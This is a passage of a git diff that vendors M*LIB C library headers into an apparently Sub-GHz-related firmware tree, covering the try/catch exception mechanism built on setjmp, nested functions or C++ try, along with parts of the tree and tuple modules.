+#define M_TR33_EMPLACE_RIGHT_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(name_t, name, function_name, name_t pos M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    name_t it = M_F(name, _insert_right_raw)M_R(pos);                         \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, it.tree->tab[it.index].data,    \
+                        exp_emplace_type);                                    \
+    return it;                                                                \
+  }
+
+// TODO: 
+// * serialization
+// * OPLIST ?
+// * _previous ?
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define TREE_DEF M_TREE_DEF
+#define TREE_DEF_AS M_TREE_DEF_AS
+#define TREE_OPLIST M_TREE_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-try.h b/lib/subghz_unleashed_compat/include/mlib/m-try.h
new file mode 100644
index 000000000..a8b76e7d9
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-try.h
@@ -0,0 +1,629 @@
+/*
+ * M*LIB - try / catch mechanism for M*LIB
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_TRY_H
+#define MSTARLIB_TRY_H
+
+#include "m-core.h"
+#include "m-thread.h"
+
+/*
+ * Select mechanism to use for support of RAII and exception,
+ * so that for each variable defined using M_LET,
+ * its destructor is still called when exceptions are thrown.
+ * It is either the C++ try,
+ * or it uses a GCC extension,
+ * or it uses a CLANG extension,
+ * or the standard C compliant way through longjmp (slower).
+ * The user can override the desired mechanism.
+ * 
+ * Performance Measures of the mechanism costs to create recursively 100000 empty strings (RAII / no exception)
+ *  TCC        : LET(longjmp): 6412 us ON_EXCEPTION(longjmp): 6550 us
+ *  CLANG      : LET(longjmp): 3922 us ON_EXCEPTION(longjmp): 3972 us
+ *  CLANG+BLOCK: LET(BLOCK):   3549 us ON_EXCEPTION(longjmp): 4196 us
+ *  GCC (O2)   : LET(nested):  1828 us ON_EXCEPTION(longjmp): 2033 us
+ *  G++ (O2/O3): LET(c++):     1850 us ON_EXCEPTION(c++):     1874 us
+ *  GCC (O3)   : LET(nested):  1377 us ON_EXCEPTION(longjmp): 1402 us
+ *  CLANG++(O2/O3): LET(c++):   428 us ON_EXCEPTION(c++):      433 us
+ * Therefore the C mechanism of try emulation is 3x times slower than the C++ "zero cost" implementation
+ * in this scenario where the mechanism cost is the most measurable.
+ * Most of the time difference comes from the size of the stack frame (memory bandwidth):
+ * * 240 bytes for CLANG(block/longjmp)
+ * * 80 bytes for GCC/nested
+ * * 96 bytes for GCC/longjmp
+ * * 64 bytes for G++ (!)
+ * * 16 bytes for CLANG++
+ */
+#ifndef M_USE_TRY_MECHANISM
+# if defined(__has_extension)
+#  if __has_extension(blocks)
+#   define M_TRY_CLANG_BLOCKS
+#  endif
+# endif
+# if defined(__cplusplus)
+#  define M_USE_TRY_MECHANISM 1
+# elif defined(M_TRY_CLANG_BLOCKS)
+#  define M_USE_TRY_MECHANISM 2
+# elif defined(__GNUC__) && !defined(__clang__)
+#  define M_USE_TRY_MECHANISM 3
+# else
+#  define M_USE_TRY_MECHANISM 4
+# endif
+#endif
+
+
+/*
+ * Start a protected section of code 'name' where all exceptions are caught
+ * by the associated CATCH section.
+ */
+#define M_TRY(name)                                                           \
+  M_TRY_B( M_C(m_try_bool_, name), M_C(m_try_buf_, name), name)
+
+
+/*
+ * Catch an exception associated to the TRY block 'name' that matches the given error_code
+ * If error_code is 0, it catches all error codes.
+ * error code shall be a constant positive integer.
+ */
+#define M_CATCH(name, error_code) M_CATCH_B(name, error_code)
+
+
+/*
+ * Throw an exception to the upper try block
+ * error_code shall be the first argument. 
+ * Other arguments are integers or pointers stored in the exception.
+ * error code shall be a constant positive integer.
+ * There is no genericity of the exception data structure itself.
+ */
+#define M_THROW(...) do {                                                     \
+    M_STATIC_ASSERT(M_RET_ARG1 (__VA_ARGS__) != 0,                            \
+                    M_LIB_NOT_A_CONSTANT_NON_NULL_INTEGER,                    \
+                    "The error code shall be a non null positive constant");  \
+    M_STATIC_ASSERT(M_NARGS (__VA_ARGS__) <= 1+M_USE_MAX_CONTEXT,             \
+                    M_LIB_TOO_MANY_ARGUMENTS,                                 \
+                    "There are too many arguments for an exception.");        \
+    M_IF_NARGS_EQ1(__VA_ARGS__)(M_THROW_1, M_THROW_N)(__VA_ARGS__);           \
+  } while (0)
+
+
+/*
+ * Size of the context data that are stored in an exception data structure.
+ */
+#ifndef M_USE_MAX_CONTEXT
+#define M_USE_MAX_CONTEXT 10
+#endif
+
+/*
+ * The exception itself.
+ *
+ * It is POD data where every fields can be used by the user.
+ * It has been decided to have only one exception data structure
+ * to simplify error code and because :
+ * - using generic types is much harder in C to do (still possible)
+ * - it will make exceptions more usable for errors which should not 
+ * be handled by exceptions.
+ *
+ * For C++, we need to encapsulate it in a template,
+ * so that it can be a unique type for each error code,
+ * which is needed for the catch mechanism.
+ * We all need to override the operator -> since the C++
+ * throw the type and catch the type, whereas the C back-end
+ * throw the type and catch a pointer to the type:
+ * within the catch block you are supposed to use the arrow
+ * operator to test the content of the exception.
+ */
+#if M_USE_TRY_MECHANISM == 1
+namespace m_lib {
+template <unsigned int N>
+#endif
+struct m_exception_s {
+  unsigned   error_code;                   // Error code
+  unsigned short line;                     // Line number where the error was detected
+  unsigned short num;                      // Number of entries in 'context' table
+  const char *filename;                    // filename  where the error was detected
+  intptr_t    context[M_USE_MAX_CONTEXT];  // Specific context of the exception
+#ifdef __cplusplus
+  m_exception_s<N> *operator->() { return this; }
+#endif
+};
+#if M_USE_TRY_MECHANISM == 1
+}
+#endif
+
+// Typical Error codes (TODO: add more classic?)
+#define M_ERROR_MEMORY  1
+#define M_ERROR_ACCESS  2
+#define M_ERROR_BUSY    3
+
+/*
+ * Define all global needed by the try mechanism with a
+ * thread attribute. It needs to be defined once in all the program
+ */
+#define M_TRY_DEF_ONCE() M_TRY_DEF_ONCE_B()
+
+
+/*
+ * Re-throw the last exception
+ * It shall be done in a CATCH block.
+ */
+#define M_RETHROW() m_rethrow()
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+#undef M_IF_EXCEPTION
+#define M_IF_EXCEPTION(...) __VA_ARGS__
+
+#undef M_ON_EXCEPTION
+#define M_ON_EXCEPTION(...)                                                   \
+  for(bool cont = true; cont; cont = false)                                   \
+    M_DEFER_TRY_INJECT_PRE(cont, __VA_ARGS__)                                 \
+      for( ; cont ; cont = false)                                             \
+        M_DEFER_TRY_INJECT_POST(cont, __VA_ARGS__)                            \
+          for( ; cont; cont = false)
+
+/*
+ * Define the C++ back-end.
+ * It is fully different from C back-end as it reuses the classic try of the C++.
+ * Surprisingly it has more constraints than the C one.
+ * error_code shall be a positive, constant integer.
+ * the catch all block shall always be the last block.
+ * at least catch block is mandatory for each try block.
+ * Note that theses constraints are meaningless in real code,
+ * and simply good behavior.
+ * Notice also that you won't have any access to the exception for a catch all error.
+ */
+#if M_USE_TRY_MECHANISM == 1
+
+// Define the CATCH block. If error_code is 0, it shall catch all errors.
+// NOTE: It will even catch non M*LIB errors.
+#define M_CATCH_B(name, error_code)                                           \
+  M_IF(M_BOOL(error_code))                                                    \
+  (catch (m_lib::m_exception_s<error_code> &name), catch (...))
+
+// No global to define in C++
+#define M_TRY_DEF_ONCE_B()   /* Nothing to do */
+
+// Reuse the try keyword of the C++
+#define M_TRY_B(cont, buf, exception)                                         \
+  try
+
+// Reuse the throw keyword of the C++
+// by throwing the type m_lib::m_exception_s<error_code>
+#define M_THROW_1(error_code)                                                 \
+  throw m_lib::m_exception_s<error_code>{ error_code, __LINE__, 0, __FILE__, { 0 } }
+
+// Reuse the throw keyword of the C++
+// by throwing the type m_lib::m_exception_s<error_code>
+#define M_THROW_N(error_code, ...)                                            \
+  throw m_lib::m_exception_s<error_code>{ error_code, __LINE__,               \
+      M_NARGS(__VA_ARGS__), __FILE__, { __VA_ARGS__ } }
+
+// Nothing to inject for a pre initialization of a M*LIB object
+#define M_LET_TRY_INJECT_PRE_B(cont, oplist, name) /* Nothing to do */
+
+// Code to inject for a post initialization of a M*LIB object
+// We create a C++ object with a destructor that will call the CLEAR operator of the M*LIB object
+// by using a lambda function.
+// If the CLEAR operator is called naturally, we disable the destructor of the C++ object.
+#define M_LET_TRY_INJECT_POST_B(cont, oplist, name)                           \
+  for(m_lib::m_regclear M_C(m_try_regclear_, name){[&](void) { M_CALL_CLEAR(oplist, name); } } \
+        ; cont ; cont = false, M_C(m_try_regclear_, name).disable() )
+
+// M_DEFER Injection / pre initialization
+#define M_DEFER_TRY_INJECT_PRE_B(cont, ...) /* Nothing to do */
+
+// M_DEFER Injection / post initialization
+// Register the stack frame and tests for the longjmp.
+// In which case call the 'clear' operations (...), unstack the error list and rethrow the error.
+#define M_DEFER_TRY_INJECT_POST_B(cont, ...)                                  \
+  for(m_lib::m_regclear M_C(m_try_regclear_, cont){[&](void) { __VA_ARGS__; } } \
+        ; cont ; M_C(m_try_regclear_, cont).disable() )
+
+// Definition of the C++ object wrapper
+// The registered function is called by the destructor,
+// except if the disable function has been called.
+#include <functional>
+namespace m_lib {
+  class m_regclear {
+    std::function<void(void)> function;
+    bool done;
+  public:
+    inline m_regclear(const std::function<void(void)> &f) : function{f}, done{false} { }
+    inline void disable(void) { done = true; }
+    inline ~m_regclear() { if (done == false) { function(); done = true; } }
+  };
+}
+
+// Rethrow is simply throw without any argument 
+#define m_rethrow() throw
+
+
+/*****************************************************************************/
+
+/* The C back-end. 
+ * It is fully different from the C++ back-end and is based on setjmp/lonjmp
+ * (classic implementation).
+ * The main difficulty is the mechanism to register the CLEAR operators
+ * to call when throwing an exception.
+ * Contrary to the C++ back-end, it is not cost-free as it adds some 
+ * instructions to the normal behavior of the program, usually 5 store instructions.
+ */
+#else
+
+#if (M_USE_TRY_MECHANISM == 3)
+// Use of builtin setjmp / longjmp for GCC
+// There are at least twice faster at worst, and reduce stack consumption
+// See https://gcc.gnu.org/onlinedocs/gcc/Nonlocal-Gotos.html
+// CLANG doesn't support these builtins officially (https://groups.google.com/g/llvm-dev/c/9QgfdW23K8M)
+#define m_try_setjmp(x)     __builtin_setjmp(x)
+#define m_try_longjmp(x,v)  __builtin_longjmp(x, v)
+typedef intptr_t           m_try_jmp_buf[5];
+#define m_try_jmp_buf      m_try_jmp_buf
+#else
+// C compliant setjmp
+#include <setjmp.h>
+#define m_try_setjmp(x)     setjmp(x)
+#define m_try_longjmp(x,v)  longjmp(x, v)
+#define m_try_jmp_buf       jmp_buf
+#endif
+
+// Define the CATCH block associated to the 'name' TRY to catch the exception
+// associated to 'error_code' and provide 'name' as a pointer to the exception
+// if the exception matches the error code.
+// If error code is 0, it matches all errors.
+#define M_CATCH_B(name, error_code)                                           \
+  else if (m_catch( M_C(m_try_buf_, name), (error_code), &name))
+
+// Define the operator to define nested functions (GCC) or blocks (CLANG)
+#if M_USE_TRY_MECHANISM == 2
+# define M_TRY_FUNC_OPERATOR ^
+#else
+# define M_TRY_FUNC_OPERATOR *
+#endif
+
+// Define the linked structure used to identify what is present in the C stack.
+// We create for each M_TRY and each M_LET a new node in the stack that represents
+// this point in the stack frame. Each nodes are linked together, so that we can
+// analyze the stack frame on exception.
+typedef struct m_try_s {
+  enum { M_STATE_TRY,                       // Try block starts
+         M_STATE_EXCEPTION_IN_PROGRESS,     // A try block or jmpbuf is being in progress (before being caught)
+         M_STATE_EXCEPTION_CAUGHT,          // An exception in progress has been successfully caught (==> no rethrow)
+         M_STATE_CLEAR_JMPBUF,              // Need to jmpbuf here to clear things
+         M_STATE_CLEAR_CB                   // Need to call the function to clear things
+      } kind;
+  struct m_try_s *next;                     // Next try block or clear mechanism on the stack frame.
+  union {
+    m_try_jmp_buf buffer;                   // To use for M_STATE_CLEAR_JMPBUF
+    struct { void (M_TRY_FUNC_OPERATOR func)(void*); void *data; } clear; // To use for M_STATE_CLEAR_CB
+  } data;
+} m_try_t[1];
+
+// Define the TRY block.
+// Classic usage of the for trick to push destructor on the exit path.
+#define M_TRY_B(cont, buf, exception)                                         \
+ for(bool cont = true ; cont ; cont = false)                                  \
+   for(m_try_t buf ; cont ; m_try_clear(buf), cont = false )                  \
+     for(const struct m_exception_s *exception = (m_try_init(buf), NULL); cont; cont = false, exception = exception) \
+       if (m_try_setjmp((buf->data.buffer)) == 0)
+
+// Throw the error code
+#define M_THROW_1(error_code)                                                 \
+  m_throw( &(const struct m_exception_s) { error_code, __LINE__, 0, __FILE__, { 0 } } )
+
+// Throw the error code and the associated data.
+#define M_THROW_N(error_code, ...)                                            \
+  m_throw( &(const struct m_exception_s) { error_code, __LINE__, M_NARGS(__VA_ARGS__), __FILE__, \
+        { __VA_ARGS__ } } )
+
+// Copy an exception to another.
+M_INLINE void
+m_exception_set(struct m_exception_s *out, const struct m_exception_s *in)
+{
+  if (in != out) {
+    memcpy(out, in, sizeof *out);
+  }
+}
+
+// The global thread attribute variables and functions.
+extern M_THREAD_ATTR struct m_try_s *m_global_error_list;
+extern M_THREAD_ATTR struct m_exception_s m_global_exception;
+extern M_ATTR_NO_RETURN M_ATTR_COLD_FUNCTION void m_throw(const struct m_exception_s *exception);
+
+// Macro to add once in one source file to define theses global:
+#define M_TRY_DEF_ONCE_B()                                                    \
+  /* Define the global variables */                                           \
+  M_THREAD_ATTR struct m_try_s *m_global_error_list;                          \
+  M_THREAD_ATTR struct m_exception_s m_global_exception;                      \
+                                                                              \
+  /* Throw the given exception                                                \
+     This function should be rarely called. */                                \
+  M_ATTR_NO_RETURN M_ATTR_COLD_FUNCTION void                                  \
+  m_throw(const struct m_exception_s *exception)                              \
+  {                                                                           \
+    /* Analyze the error list to see what has been registered */              \
+    struct m_try_s *e = m_global_error_list;                                  \
+    while (e != NULL) {                                                       \
+      /* A CLEAR by CB operator has been registered: call it */               \
+      if (e->kind == M_STATE_CLEAR_CB) {                                      \
+        e->data.clear.func(e->data.clear.data);                               \
+      }                                                                       \
+      else {                                                                  \
+        /* A JUMP command has been registered.                                \
+         * Either due to the M_TRY block or                                   \
+         * because of the jump to the CLEAR operator of the object to clear. */ \
+        M_ASSERT(e->kind == M_STATE_TRY || e->kind == M_STATE_CLEAR_JMPBUF);  \
+        /* If the exception is already m_global_exception, it won't be copied */ \
+        m_exception_set(&m_global_exception, exception);                      \
+        e->kind = M_STATE_EXCEPTION_IN_PROGRESS;                              \
+        m_global_error_list = e;                                              \
+        m_try_longjmp(e->data.buffer, 1);                                     \
+      }                                                                       \
+      /* Next stack frame */                                                  \
+      e = e->next;                                                            \
+    }                                                                         \
+    /* No try block found.                                                    \
+       Display the information and halt program . */                          \
+    M_RAISE_FATAL("Exception '%u' raised by (%s:%d) is not caught. Program aborted.\n", \
+                  exception->error_code, exception->filename, exception->line); \
+  }
+
+// Rethrow the error
+M_INLINE void
+m_rethrow(void)
+{
+  M_ASSERT(m_global_error_list != NULL);
+  m_throw(&m_global_exception);
+}
+
+// Catch the error code associated to the TRY block state
+// and provide a pointer to the exception (which is a global).
+M_INLINE bool
+m_catch(m_try_t state, unsigned error_code, const struct m_exception_s **exception)
+{
+  M_ASSERT(m_global_error_list == state);
+  M_ASSERT(state->kind == M_STATE_EXCEPTION_IN_PROGRESS);
+  *exception = &m_global_exception;
+  // If error_code is 0, we want to catch **all** errors.
+  // Otherwise we want to cache only the given error
+  // Return false if we don't catcht it.
+  if (error_code != 0 && m_global_exception.error_code != error_code)
+    return false;
+  // The exception has been caught.
+  state->kind = M_STATE_EXCEPTION_CAUGHT;
+  // Unstack the try block, so that next throw command in the CATCH block
+  // will reach the upper TRY block.
+  m_global_error_list = state->next;
+  return true;
+}
+
+#if defined(__GNUC__)
+#if __GNUC__ >= 12
+/* Warnings disabled for GNU C in C mode (Affecting a global variable to the address of a local variable) */
+_Pragma("GCC diagnostic push")
+_Pragma("GCC diagnostic ignored \"-Wdangling-pointer\"")
+#endif
+#endif
+
+// Initialize the state to a TRY state.
+M_INLINE void
+m_try_init(m_try_t state)
+{
+  state->kind = M_STATE_TRY;
+  state->next = m_global_error_list;
+  m_global_error_list = state;
+  // setjmp cannot be done here
+}
+
+// Disable the current TRY block.
+M_INLINE void
+m_try_clear(m_try_t state)
+{
+  // Even if there is a CATCH block and an unstack of the exception
+  // m_global_error_list won't be changed.
+  m_global_error_list = state->next;
+  if (M_UNLIKELY (state->kind == M_STATE_EXCEPTION_IN_PROGRESS)) {
+    // There was no catch for this error.
+    // Forward it to the upper level.
+     m_rethrow();
+  }
+}
+
+
+// Implement the M_LET injection macros, so that the CLEAR operator is called on exception
+// Helper functions
+// Each mechanism provide 3 helper functions:
+// * pre: which is called before the constructor
+// * post: which is called after the constructor
+// * final: which is called before the destructor.
+
+// There is two mechanims: calling a CLEAR callback (faster but need compiler extension)
+// or using an intermediary jmpbuf_t longjmp (slower but standard compliant).
+
+// We register a call to the CLEAR callback.
+// We don't modify m_global_error_list until we have successfully called the INIT operator
+// to avoid registering the CLEAR operator on exception whereas the object is not initialized yet.
+// However we register the position in the stack frame now so that in case of partial initialization
+// of the object (if the INIT operator of the object calls other INIT operators of composed fields),
+// since partial initialization will be unstacked naturally by the composing object.
+M_INLINE bool
+m_try_cb_pre(m_try_t state)
+{
+  state->kind = M_STATE_CLEAR_CB;
+  state->next = m_global_error_list;
+  return true;
+}
+
+// We register the function to call of the initialized object.
+M_INLINE bool
+m_try_cb_post(m_try_t state, void (M_TRY_FUNC_OPERATOR func)(void*), void *data)
+{
+  state->data.clear.func = func;
+  state->data.clear.data = data;
+  m_global_error_list = state;
+  return true;
+}
+
+// The object will be cleared.
+// We can pop the stack frame of the errors.
+M_INLINE void
+m_try_cb_final(m_try_t state)
+{
+  m_global_error_list = state->next;
+}
+
+// We register a longjmp here to handle the cleaning of the exception at this function.
+// Pre initialization function.
+M_INLINE bool
+m_try_jump_pre(m_try_t state)
+{
+  state->kind = M_STATE_CLEAR_JMPBUF;
+  state->next = m_global_error_list;
+  return true;
+}
+
+// Post initialization function. Save the stack frame for a longjmp
+M_INLINE void
+m_try_jump_post(m_try_t state)
+{
+  M_ASSERT(state->next == m_global_error_list);
+  m_global_error_list = state;
+}
+
+// The object will be cleared.
+// We can pop the stack frame of the errors.
+M_INLINE void
+m_try_jump_final(m_try_t state)
+{
+  m_global_error_list = state->next;
+}
+
+#if defined(__GNUC__)
+#if __GNUC__ >= 12
+_Pragma("GCC diagnostic pop")
+#endif
+#endif
+
+// Implement the M_LET injection macros, so that the CLEAR operator is called on exception
+//
+#if M_USE_TRY_MECHANISM == 1
+# error M*LIB: Internal error. C++ back-end requested within C implementation.
+
+#elif M_USE_TRY_MECHANISM == 2
+// Use of CLANG blocks, and register them as callback with a pointer to the variable
+
+#define M_LET_TRY_INJECT_PRE_B(cont, oplist, name)                            \
+  for(m_try_t M_C(m_try_state_, name); cont &&                                \
+        m_try_cb_pre(M_C(m_try_state_, name) ); cont = false )
+
+#define M_LET_TRY_INJECT_POST_B(cont, oplist, name)                           \
+  for(m_try_cb_post(M_C(m_try_state_, name),                                  \
+                      ^ void (void *_data) { M_GET_TYPE oplist *_t = _data; M_CALL_CLEAR(oplist, *_t); }, \
+                      (void*) &name); cont; cont = false, m_try_cb_final(M_C(m_try_state_, name)) )
+
+#elif M_USE_TRY_MECHANISM == 3
+// Use of GCC nested functions, and register them as callback with a pointer to the variable
+
+#define M_LET_TRY_INJECT_PRE_B(cont, oplist, name)                            \
+  for(m_try_t M_C(m_try_state_, name); cont &&                                \
+        m_try_cb_pre(M_C(m_try_state_, name) ); cont = false )
+
+#define M_LET_TRY_INJECT_POST_B(cont, oplist, name)                           \
+  for(m_try_cb_post(M_C(m_try_state_, name),                                  \
+                      __extension__ ({ __extension__ void _callback (void *_data) { M_GET_TYPE oplist *_t = _data; M_CALL_CLEAR(oplist, *_t); } _callback; }), \
+                      (void*) &name); cont; cont = false, m_try_cb_final(M_C(m_try_state_, name)) )
+
+#elif M_USE_TRY_MECHANISM == 4
+// STD C compliant (without compiler extension): use of setjmp
+// This is the basic implementation in case of unknown compiler.
+// It uses setjmp/longjmp, and as such, is much slower than
+// other implementations.
+
+// M_LET Injection / pre initialization
+// Initialize the stack frame.
+#define M_LET_TRY_INJECT_PRE_B(cont, oplist, name)                            \
+  for(m_try_t M_C(m_try_state_, name); cont &&                                \
+        m_try_jump_pre(M_C(m_try_state_, name)); cont = false)
+
+// M_LET Injection / post initialization
+// Register the stack frame and tests for the longjmp.
+// In which case call the CLEAR operator, unstack the error list and rethrow the error.
+#define M_LET_TRY_INJECT_POST_B(cont, oplist, name)                           \
+  for(m_try_jump_post(M_C(m_try_state_, name)); cont ; cont = false, m_try_jump_final(M_C(m_try_state_, name))) \
+    if (m_try_setjmp(M_C(m_try_state_, name)->data.buffer) != 0) { M_CALL_CLEAR(oplist, name); m_try_jump_final(M_C(m_try_state_, name)); m_rethrow(); } else
+
+#else
+# error M*LIB: Invalid value for M_USE_TRY_MECHANISM [1..4]
+#endif
+
+
+// M_DEFER Injection / pre initialization
+// Initialize the stack frame.
+#define M_DEFER_TRY_INJECT_PRE_B(cont, ...)                                   \
+  for(m_try_t M_C(m_try_state_, cont); cont &&                                \
+        m_try_jump_pre(M_C(m_try_state_, cont)); )
+
+// M_DEFER Injection / post initialization
+// Register the stack frame and tests for the longjmp.
+// In which case call the CLEAR operator, unstack the error list and rethrow the error.
+#define M_DEFER_TRY_INJECT_POST_B(cont, ...)                                  \
+  for(m_try_jump_post(M_C(m_try_state_, cont)); cont ; m_try_jump_final(M_C(m_try_state_, cont))) \
+  if (m_try_setjmp(M_C(m_try_state_, cont)->data.buffer) != 0) { __VA_ARGS__; m_try_jump_final(M_C(m_try_state_, cont)); m_rethrow(); } else
+
+#endif /* cplusplus */
+
+/*****************************************************************************/
+
+// Macro injection for M_LET.
+// If the oplist defined NOCLEAR property, we won't register this variable for clear on exception
+#undef  M_LET_TRY_INJECT_PRE
+#define M_LET_TRY_INJECT_PRE(cont, oplist, name)                              \
+  M_IF(M_GET_PROPERTY(oplist, NOCLEAR))(M_EAT, M_LET_TRY_INJECT_PRE_B)        \
+  (cont, oplist, name)
+
+#undef  M_LET_TRY_INJECT_POST
+#define M_LET_TRY_INJECT_POST(cont, oplist, name)                             \
+  M_IF(M_GET_PROPERTY(oplist, NOCLEAR))(M_EAT, M_LET_TRY_INJECT_POST_B)       \
+  (cont, oplist, name)
+
+
+// Macro injection for M_DEFER.
+#undef  M_DEFER_TRY_INJECT_PRE
+#define M_DEFER_TRY_INJECT_PRE(cont, ...)  M_DEFER_TRY_INJECT_PRE_B(cont, __VA_ARGS__)
+#undef  M_DEFER_TRY_INJECT_POST
+#define M_DEFER_TRY_INJECT_POST(cont, ...) M_DEFER_TRY_INJECT_POST_B(cont, __VA_ARGS__)
+
+
+// In case of MEMORY FULL errors, throw an error instead of aborting.
+#undef  M_MEMORY_FULL
+#define M_MEMORY_FULL(type, size)    M_THROW(M_ERROR_MEMORY, (intptr_t)sizeof(type), (intptr_t)(size))
+
+// Add attribute volatile if exceptions are enabled
+#undef  m_volatile
+#define m_volatile volatile
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-tuple.h b/lib/subghz_unleashed_compat/include/mlib/m-tuple.h
new file mode 100644
index 000000000..f8f6e906e
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-tuple.h
@@ -0,0 +1,813 @@
+/*
+ * M*LIB - TUPLE module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_TUPLE_H
+#define MSTARLIB_TUPLE_H
+
+#include "m-core.h"
+
+/* Define the tuple type and functions.
+   USAGE:
+   TUPLE_DEF2(name, [(field1, type1[, oplist1]), (field2, type2[, oplist2]), ...] ) */
+#define M_TUPLE_DEF2(name, ...)                                               \
+  M_TUPLE_DEF2_AS(name, M_F(name,_t), __VA_ARGS__)
+
+
+/* Define the tuple type and functions
+   as the given name.
+   USAGE:
+   TUPLE_DEF2_AS(name, name_t, [(field1, type1[, oplist1]), (field2, type2[, oplist2]), ...] ) */
+#define M_TUPLE_DEF2_AS(name, name_t, ...)                                    \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_TUPL3_DEF2_P1( (name, name_t M_TUPL3_INJECT_GLOBAL(__VA_ARGS__)) )        \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a tuple.
+   USAGE: TUPLE_OPLIST(name[, oplist of the first type, ...]) */
+#define M_TUPLE_OPLIST(...)                                                   \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_TUPL3_OPLIST_P1((__VA_ARGS__, M_BASIC_OPLIST )),                         \
+   M_TUPL3_OPLIST_P1((__VA_ARGS__ )))
+
+
+/* Return an array suitable for the WIP _cmp_order function.
+   As compound literals are not supported in C++,
+   provide a separate definition for C++ using initializer_list
+   (shall be constexpr, but only supported in C++14).
+*/
+#ifndef __cplusplus
+#define M_TUPLE_ORDER(name, ...)                                              \
+  ( (const int[]) {M_MAP2_C(M_TUPL3_ORDER_CONVERT, name, __VA_ARGS__), 0})
+#else
+#include <initializer_list>
+namespace m_lib {
+  template <unsigned int N>
+  struct m_tupl3_integer_va {
+    int data[N];
+    /*constexpr*/ inline m_tupl3_integer_va(std::initializer_list<int> init){
+      int j = 0;
+      for(auto i:init) {
+        data[j++] = i;
+      }
+    }
+  };
+}
+#define M_TUPLE_ORDER(name, ...)                                              \
+  (m_lib::m_tupl3_integer_va<M_NARGS(__VA_ARGS__,0)>({M_MAP2_C(M_TUPL3_ORDER_CONVERT, name, __VA_ARGS__), 0}).data)
+#endif
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Contract of a tuple. Nothing notable */
+#define M_TUPL3_CONTRACT(tup) do {                                            \
+  M_ASSERT(tup != NULL);                                                      \
+} while (0)
+
+/* Inject the oplist within the list of arguments */
+#define M_TUPL3_INJECT_GLOBAL(...)                                            \
+  M_MAP(M_TUPL3_INJECT_OPLIST_A, __VA_ARGS__)
+
+/* Transform (x, type) into (x, type, oplist) if there is global registered oplist 
+   or (x, type, M_BASIC_OPLIST) if there is no global one,
+   or keep (x, type, oplist) if oplist was already present */
+#define M_TUPL3_INJECT_OPLIST_A( duo_or_trio )                                \
+  M_TUPL3_INJECT_OPLIST_B duo_or_trio
+
+#define M_TUPL3_INJECT_OPLIST_B( f, ... )                                     \
+  M_DEFERRED_COMMA                                                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)( (f, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)()), (f, __VA_ARGS__) )
+
+// Deferred evaluation
+#define M_TUPL3_DEF2_P1(...)             M_ID( M_TUPL3_DEF2_P2 __VA_ARGS__ )
+
